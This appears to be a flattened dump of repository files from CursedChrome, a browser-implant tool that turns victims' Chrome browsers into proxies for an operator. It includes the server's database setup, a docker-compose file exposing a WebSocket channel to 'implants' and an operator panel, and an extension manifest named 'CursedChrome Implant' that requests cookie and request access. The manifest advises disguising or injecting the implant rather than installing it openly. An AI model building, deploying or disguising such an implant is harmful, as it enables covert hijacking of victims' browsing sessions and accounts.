264 | if(session_secret_setting) {
265 | return
266 | }
267 |
268 | console.log(`No session secret set, generating one now...`);
269 |
270 | // Since it doesn't exist, generate one.
271 | await Settings.create({
272 | id: uuid.v4(),
273 | key: session_secret_key,
274 | value: get_secure_random_string(64)
275 | });
276 |
277 | console.log(`Session secret generated successfully!`);
278 | }
279 |
280 | async function database_init() {
281 | const force = false;
282 | await Users.sync({ force: force });
283 | await Bots.sync({ force: force });
284 | await Settings.sync({ force: force });
285 |
286 | // Set up configs if they're not already set up.
287 | await initialize_configs();
288 |
289 | // Set up admin panel user if not already set up.
290 | await initialize_users();
291 | }
292 |
293 | module.exports.sequelize = sequelize;
294 | module.exports.Users = Users;
295 | module.exports.Bots = Bots;
296 | module.exports.Settings = Settings;
297 | module.exports.database_init = database_init;
--------------------------------------------------------------------------------
/docker-compose.yaml:
--------------------------------------------------------------------------------
1 | services:
2 | redis:
3 | image: "redis:alpine"
4 | command: redis-server --appendonly no
5 | db:
6 | image: postgres
7 | restart: always
8 | environment:
9 | POSTGRES_PASSWORD: cursedchrome
10 | POSTGRES_USER: cursedchrome
11 | POSTGRES_DB: cursedchrome
12 | cursedchrome:
13 | build: .
14 | volumes:
15 | - ./ssl:/work/cassl
16 | depends_on:
17 | - db
18 | - redis
19 | environment:
20 | DATABASE_NAME: cursedchrome
21 | DATABASE_USER: cursedchrome
22 | DATABASE_PASSWORD: cursedchrome
23 | DATABASE_HOST: db
24 | REDIS_HOST: redis
25 | # Number of bcrypt rounds for
26 | # storing admin panel passwords.
27 | BCRYPT_ROUNDS: 10
28 | DEBUGGING: "yes"
29 | ports:
30 | - "127.0.0.1:8080:8080" # Proxy server
31 | - "127.0.0.1:4343:4343" # WebSocket server (talks with implants)
32 | - "127.0.0.1:8118:8118" # Web panel
33 |
--------------------------------------------------------------------------------
/docker-entrypoint.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | cp /work/ssl/* /work/cassl/
3 | node /work/server.js
4 |
--------------------------------------------------------------------------------
/extension/_locales/en/messages.json:
--------------------------------------------------------------------------------
1 | {
2 | "l10nTabName": {
3 | "message":"Localization"
4 | ,"description":"name of the localization tab"
5 | }
6 | ,"l10nHeader": {
7 | "message":"It does localization too! (this whole tab is, actually)"
8 | ,"description":"Header text for the localization section"
9 | }
10 | ,"l10nIntro": {
11 | "message":"'L10n' refers to 'Localization' - 'L' an 'n' are obvious, and 10 comes from the number of letters between those two. It is the process/whatever of displaying something in the language of choice. It uses 'I18n', 'Internationalization', which refers to the tools / framework supporting L10n. I.e., something is internationalized if it has I18n support, and can be localized. Something is localized for you if it is in your language / dialect."
12 | ,"description":"introduce the basic idea."
13 | }
14 | ,"l10nProd": {
15 | "message":"You are planning to allow localization, right? You have no idea who will be using your extension! You have no idea who will be translating it! At least support the basics, it's not hard, and having the framework in place will let you transition much more easily later on."
16 | ,"description":"drive the point home. It's good for you."
17 | }
18 | ,"l10nFirstParagraph": {
19 | "message":"When the options page loads, elements decorated with data-l10n will automatically be localized!"
20 | ,"description":"inform that elements will be localized on load"
21 | }
22 | ,"l10nSecondParagraph": {
23 | "message":"If you need more complex localization, you can also define data-l10n-args. This should contain $containerType$ filled with $dataType$, which will be passed into Chrome's i18n API as $functionArgs$. In fact, this paragraph does just that, and wraps the args in mono-space font. Easy!"
24 | ,"description":"introduce the data-l10n-args attribute. End on a lame note."
25 | ,"placeholders": {
26 | "containerType": {
27 | "content":"$1"
28 | ,"example":"'array', 'list', or something similar"
29 | ,"description":"type of the args container"
30 | }
31 | ,"dataType": {
32 | "content":"$2"
33 | ,"example":"string"
34 | ,"description":"type of data in each array index"
35 | }
36 | ,"functionArgs": {
37 | "content":"$3"
38 | ,"example":"arguments"
39 | ,"description":"whatever you call what you pass into a function/method. args, params, etc."
40 | }
41 | }
42 | }
43 | ,"l10nThirdParagraph": {
44 | "message":"Message contents are passed right into innerHTML without processing - include any tags (or even scripts) that you feel like. If you have an input field, the placeholder will be set instead, and buttons will have the value attribute set."
45 | ,"description":"inform that we handle placeholders, buttons, and direct HTML input"
46 | }
47 | ,"l10nButtonsBefore": {
48 | "message":"Different types of buttons are handled as well. <button> elements have their html set:"
49 | }
50 | ,"l10nButton": {
51 | "message":"in a button"
52 | }
53 | ,"l10nButtonsBetween": {
54 | "message":"while <input type='submit'> and <input type='button'> get their 'value' set (note: no HTML):"
55 | }
56 | ,"l10nSubmit": {
57 | "message":"a submit value"
58 | }
59 | ,"l10nButtonsAfter": {
60 | "message":"Awesome, no?"
61 | }
62 | ,"l10nExtras": {
63 | "message":"You can even set data-l10n on things like the <title> tag, which lets you have translatable page titles, or fieldset <legend> tags, or anywhere else - the default Boil.localize() behavior will check every tag in the document, not just the body."
64 | ,"description":"inform about places which may not be obvious, like , etc"
65 | }
66 | }
67 |
--------------------------------------------------------------------------------
/extension/icons/icon128.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/extension/icons/icon128.png
--------------------------------------------------------------------------------
/extension/icons/icon16.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/extension/icons/icon16.png
--------------------------------------------------------------------------------
/extension/icons/icon48.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/extension/icons/icon48.png
--------------------------------------------------------------------------------
/extension/manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "CursedChrome Implant",
3 | "version": "0.0.2",
4 | "manifest_version": 3,
5 | "description": "Example Chrome extension with implant code. You should probably inject/disguise the implant instead of installing this extension directly.",
6 | "homepage_url": "https://thehackerblog.com",
7 | "icons": {
8 | "16": "icons/icon16.png",
9 | "48": "icons/icon48.png",
10 | "128": "icons/icon128.png"
11 | },
12 | "default_locale": "en",
13 | "background": {
14 | "service_worker": "src/bg/background.js"
15 | },
16 | "permissions": [
17 | "webRequest",
18 | "cookies",
19 | "storage",
20 | "declarativeNetRequest"
21 | ],
22 | "host_permissions": [
23 | ""
24 | ]
25 | }
26 |
--------------------------------------------------------------------------------
/extension/redirect-hack.html:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/gui/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | node_modules
3 | /dist
4 |
5 | # local env files
6 | .env.local
7 | .env.*.local
8 |
9 | # Log files
10 | npm-debug.log*
11 | yarn-debug.log*
12 | yarn-error.log*
13 |
14 | # Editor directories and files
15 | .idea
16 | .vscode
17 | *.suo
18 | *.ntvs*
19 | *.njsproj
20 | *.sln
21 | *.sw?
22 |
--------------------------------------------------------------------------------
/gui/README.md:
--------------------------------------------------------------------------------
1 | # gui
2 |
3 | ## Project setup
4 | ```
5 | npm install
6 | ```
7 |
8 | ### Compiles and hot-reloads for development
9 | ```
10 | npm run serve
11 | ```
12 |
13 | ### Compiles and minifies for production
14 | ```
15 | npm run build
16 | ```
17 |
18 | ### Lints and fixes files
19 | ```
20 | npm run lint
21 | ```
22 |
23 | ### Customize configuration
24 | See [Configuration Reference](https://cli.vuejs.org/config/).
25 |
--------------------------------------------------------------------------------
/gui/babel.config.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | presets: [
3 | '@vue/cli-plugin-babel/preset'
4 | ]
5 | }
6 |
--------------------------------------------------------------------------------
/gui/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "CursedChrome",
3 | "version": "0.1.0",
4 | "private": true,
5 | "scripts": {
6 | "serve": "vue-cli-service serve",
7 | "build": "vue-cli-service build",
8 | "lint": "vue-cli-service lint"
9 | },
10 | "dependencies": {
11 | "@fortawesome/fontawesome-svg-core": "^1.2.28",
12 | "@fortawesome/free-brands-svg-icons": "^5.13.0",
13 | "@fortawesome/free-solid-svg-icons": "^5.13.0",
14 | "@fortawesome/vue-fontawesome": "^0.1.9",
15 | "bootstrap": "^4.4.1",
16 | "bootstrap-vue": "^2.12.0",
17 | "core-js": "^3.6.4",
18 | "install": "^0.13.0",
19 | "npm": "^6.14.4",
20 | "vue": "^2.6.11",
21 | "vue-bootstrap-table2": "^1.1.8",
22 | "vue-moment": "^4.1.0",
23 | "vue-toastr": "^2.1.2"
24 | },
25 | "devDependencies": {
26 | "@vue/cli-plugin-babel": "^4.3.0",
27 | "@vue/cli-plugin-eslint": "^4.3.0",
28 | "@vue/cli-service": "^4.3.0",
29 | "babel-eslint": "^10.1.0",
30 | "eslint": "^6.7.2",
31 | "eslint-plugin-vue": "^6.2.2",
32 | "vue-template-compiler": "^2.6.11"
33 | },
34 | "eslintConfig": {
35 | "root": true,
36 | "env": {
37 | "node": true
38 | },
39 | "extends": [
40 | "plugin:vue/essential",
41 | "eslint:recommended"
42 | ],
43 | "parserOptions": {
44 | "parser": "babel-eslint"
45 | },
46 | "rules": {}
47 | },
48 | "browserslist": [
49 | "> 1%",
50 | "last 2 versions",
51 | "not dead"
52 | ]
53 | }
54 |
--------------------------------------------------------------------------------
/gui/public/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/gui/public/favicon.ico
--------------------------------------------------------------------------------
/gui/public/img/background.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/gui/public/img/background.png
--------------------------------------------------------------------------------
/gui/public/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | <%= htmlWebpackPlugin.options.title %>
9 |
10 |
11 |
14 |
15 |
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/gui/public/js/clipboard.min.js:
--------------------------------------------------------------------------------
1 | /*!
2 | * clipboard.js v2.0.6
3 | * https://clipboardjs.com/
4 | *
5 | * Licensed MIT © Zeno Rocha
6 | */
7 | !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.ClipboardJS=e():t.ClipboardJS=e()}(this,function(){return o={},r.m=n=[function(t,e){t.exports=function(t){var e;if("SELECT"===t.nodeName)t.focus(),e=t.value;else if("INPUT"===t.nodeName||"TEXTAREA"===t.nodeName){var n=t.hasAttribute("readonly");n||t.setAttribute("readonly",""),t.select(),t.setSelectionRange(0,t.value.length),n||t.removeAttribute("readonly"),e=t.value}else{t.hasAttribute("contenteditable")&&t.focus();var o=window.getSelection(),r=document.createRange();r.selectNodeContents(t),o.removeAllRanges(),o.addRange(r),e=o.toString()}return e}},function(t,e){function n(){}n.prototype={on:function(t,e,n){var o=this.e||(this.e={});return(o[t]||(o[t]=[])).push({fn:e,ctx:n}),this},once:function(t,e,n){var o=this;function r(){o.off(t,r),e.apply(n,arguments)}return r._=e,this.on(t,r,n)},emit:function(t){for(var e=[].slice.call(arguments,1),n=((this.e||(this.e={}))[t]||[]).slice(),o=0,r=n.length;o
2 |
3 |
4 |
5 |
6 |
7 |
17 |
18 |
29 |
--------------------------------------------------------------------------------
/gui/src/assets/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/gui/src/assets/logo.png
--------------------------------------------------------------------------------
/gui/src/main.js:
--------------------------------------------------------------------------------
1 | import Vue from 'vue'
2 | import App from './App.vue'
3 | import { BootstrapVue, IconsPlugin } from 'bootstrap-vue'
4 |
5 | import 'bootstrap/dist/css/bootstrap.css'
6 | import 'bootstrap-vue/dist/bootstrap-vue.css'
7 |
8 | // Install BootstrapVue
9 | Vue.use(BootstrapVue)
10 |
11 | // Optionally install the BootstrapVue icon components plugin
12 | Vue.use(IconsPlugin)
13 |
14 | Vue.use(require('vue-moment'));
15 |
16 | import VueToastr from "vue-toastr";
17 | Vue.use(VueToastr, {
18 | escapeHtml: true,
19 | progressBar: true
20 | });
21 |
22 | import { library } from '@fortawesome/fontawesome-svg-core'
23 | import { fas } from '@fortawesome/free-solid-svg-icons'
24 | import { fab } from '@fortawesome/free-brands-svg-icons'
25 | import { FontAwesomeIcon } from '@fortawesome/vue-fontawesome'
26 |
27 | library.add(fas)
28 | library.add(fab)
29 |
30 | Vue.component('font-awesome-icon', FontAwesomeIcon)
31 |
32 | Vue.config.productionTip = false
33 |
34 | new Vue({
35 | render: h => h(App),
36 | }).$mount('#app')
37 |
--------------------------------------------------------------------------------
/images/browsing-as-victim-browser.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/images/browsing-as-victim-browser.png
--------------------------------------------------------------------------------
/images/cursed-chrome-web-panel.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/images/cursed-chrome-web-panel.png
--------------------------------------------------------------------------------
/images/cursedchrome-diagram.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/images/cursedchrome-diagram.png
--------------------------------------------------------------------------------
/images/icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/images/icon.png
--------------------------------------------------------------------------------
/images/sync-cookie-extension.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/images/sync-cookie-extension.png
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "croxy",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "server.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1",
8 | "start": "node server.js"
9 | },
10 | "author": "",
11 | "license": "ISC",
12 | "dependencies": {
13 | "async": "~0.9.0",
14 | "async-task-mgr": ">=1.1.0",
15 | "bcrypt": "^4.0.1",
16 | "body-parser": "^1.19.0",
17 | "brotli": "^1.3.2",
18 | "classnames": "^2.2.5",
19 | "client-sessions": "^0.8.0",
20 | "clipboard-js": "^0.3.3",
21 | "co": "^4.6.0",
22 | "colorful": "^2.1.0",
23 | "commander": "~2.11.0",
24 | "component-emitter": "^1.2.1",
25 | "compression": "^1.4.4",
26 | "csr-gen": "^0.2.1",
27 | "es6-promise": "^3.3.1",
28 | "express": "^4.17.1",
29 | "express-jsonschema": "^1.1.6",
30 | "fast-json-stringify": "^0.17.0",
31 | "http-proxy": "^1.18.0",
32 | "iconv-lite": "^0.4.6",
33 | "inquirer": "^5.2.0",
34 | "ip": "^0.3.2",
35 | "juicer": "^0.6.6-stable",
36 | "mime-types": "2.1.11",
37 | "moment": "^2.24.0",
38 | "nedb": "^1.8.0",
39 | "node-cache": "^5.1.0",
40 | "pg": "^7.18.2",
41 | "pug": "^2.0.0-beta6",
42 | "qrcode-npm": "0.0.3",
43 | "redis": "^3.0.2",
44 | "request": "^2.74.0",
45 | "sequelize": "^5.21.5",
46 | "stream-throttle": "^0.1.3",
47 | "svg-inline-react": "^1.0.2",
48 | "thunkify": "^2.1.2",
49 | "uuid": "^7.0.2",
50 | "whatwg-fetch": "^1.0.0",
51 | "ws": "^5.1.0",
52 | "node-forge": "^0.6.42",
53 | "node-powershell": "^3.3.1"
54 | }
55 | }
56 |
--------------------------------------------------------------------------------
/ssl/.blank:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mandatoryprogrammer/CursedChrome/690dcb44f4dc659e0a13b20c3ac7e8cf960ff410/ssl/.blank
--------------------------------------------------------------------------------
/utils.js:
--------------------------------------------------------------------------------
1 | const crypto = require('crypto');
2 | const bcrypt = require('bcrypt');
3 | const moment = require('moment');
4 |
5 | function copy(input_data) {
6 | return JSON.parse(JSON.stringify(input_data));
7 | }
8 |
9 | function get_secure_random_string(bytes_length) {
10 | const validChars = 'abcdefghijklmnopqrstuvwxyz0123456789';
11 | let array = crypto.randomBytes(bytes_length);
12 | array = array.map(x => validChars.charCodeAt(x % validChars.length));
13 | const random_string = String.fromCharCode.apply(null, array);
14 | return random_string;
15 | }
16 |
17 | async function get_hashed_password(password) {
18 | // If no environment variable is set, default
19 | // to doing 10 rounds.
20 | const bcrypt_rounds = process.env.BCRYPT_ROUNDS ? parseInt(process.env.BCRYPT_ROUNDS) : 10;
21 |
22 | return bcrypt.hash(
23 | password,
24 | bcrypt_rounds
25 | );
26 | }
27 |
28 | function logit(input_string) {
29 | const datetime = moment().format('MMMM Do YYYY, h:mm:ss a');
30 | // Add spacer unless it starts with a `[`
31 | const spacer = input_string.startsWith('[') ? '' : ' ';
32 | console.log(`[${datetime}]${spacer}${input_string.trim()}`);
33 | }
34 |
35 | module.exports = {
36 | copy: copy,
37 | get_secure_random_string: get_secure_random_string,
38 | get_hashed_password: get_hashed_password,
39 | logit: logit
40 | };
--------------------------------------------------------------------------------